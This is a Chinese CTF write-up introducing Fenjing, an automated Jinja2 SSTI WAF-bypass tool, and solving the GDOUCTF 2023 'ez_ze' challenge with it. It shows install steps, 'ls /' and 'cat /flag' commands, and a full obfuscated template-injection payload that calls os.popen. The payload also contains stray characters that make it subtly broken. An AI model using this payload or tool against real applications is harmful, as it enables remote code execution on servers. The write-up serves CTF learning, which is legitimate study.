Bootstrap

Fenjing(焚靖)Windows下载报错及正确安装及实际CTF题目中运用

Fenjing(焚靖)Windows下载报错及正确安装及实际CTF题目中运用

本人小白,最近刚刚接触SSTI,介绍一款CTF工具——Fenjing【焚靖】

Fenjing是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。

而且其实早之前我花了很多时间下载fenjing,左右琢磨了好几个小时,不知道为什么总出现路径问题的错误,去github上原网站上研究半天还是没用

报错内容:No module named fenjing

很多时候都报错显示:

No module named xxx

去搜 得到的答案基本上都围绕在把fenjing的路径和python38的路径在环境变量里去统一一下。

但是实际上统一后问题也没有得到解决

这里提供一个我实行成功了的示例代码:

pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple
使用镜像网站安装就没事了

看一下有没有安装成功

python -m fenjing
python一下看看有没有安装成果,如果有如上界面即可

出现这个界面就是ok了。

然后我们拿一道NSS上的题做测试案例来实际体会一下:

[GDOUCTF 2023]<ez_ze>
实际案例测试

ok在扫了

这里写的是

>>ls /
>>ls /

在具体表单出现后直接抓取flag

>>cat /flag
>>cat /flag
得到flag

除此之外fenjing还有一个flask实现界面

python -m fenjing webui
启动flask实现界面代码

之后就会弹出如下界面

同样以这道题【[GDOUCTF 2023]<ez_ze>】为例子来展示使用方法

开题

Ctrl+U/右键查看网页码源:

发现3个关键信息:

method【对应请求方式】:POST

name【对应表单输入】:name

action【对应目标链接】:http://node5.anna.nssctf.cn:24511/get_flag(这个我一开始没有注意到还有“/get_flag”就漏写然后弄错了)

为了避免漏看及不太清楚这个问题出现 我们可以拦截流量包看

所以填写如下表单后点击开始分析

这里不要忘了还有url/get_flag。但不同题目不一样,依情况而定

然后就有

在执行框中写“cat /flag”

在执行处输入cat /flag

得flag

同样拿到flag,处理过程相对终端上运行更容易理解。

同样,我们可以拿payload去源网页看看

payload:

{%set xk='OS'|lower%}{%set qf=lipsum|escape|batch(22)|first|last%}{%set gl=qf*2+'globals'+qf*2%}{%set ge=qf*2+'g''etitem'+qf*2%}{%set bi=qf*2+'builtins'+qf*2%}{%set im=qf*2+'import'+qf*2%}{%print ((cycler|attr('next')|attr(gl)|attr(ge)(bi)安全2|attr(ge)(im))(xk)|attr('p''open'))('cat /flag')|attr('read')()%}"}

得到flag。

一些更多具体使用案例,可以参考github上的使用案例:GitHub - Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF

;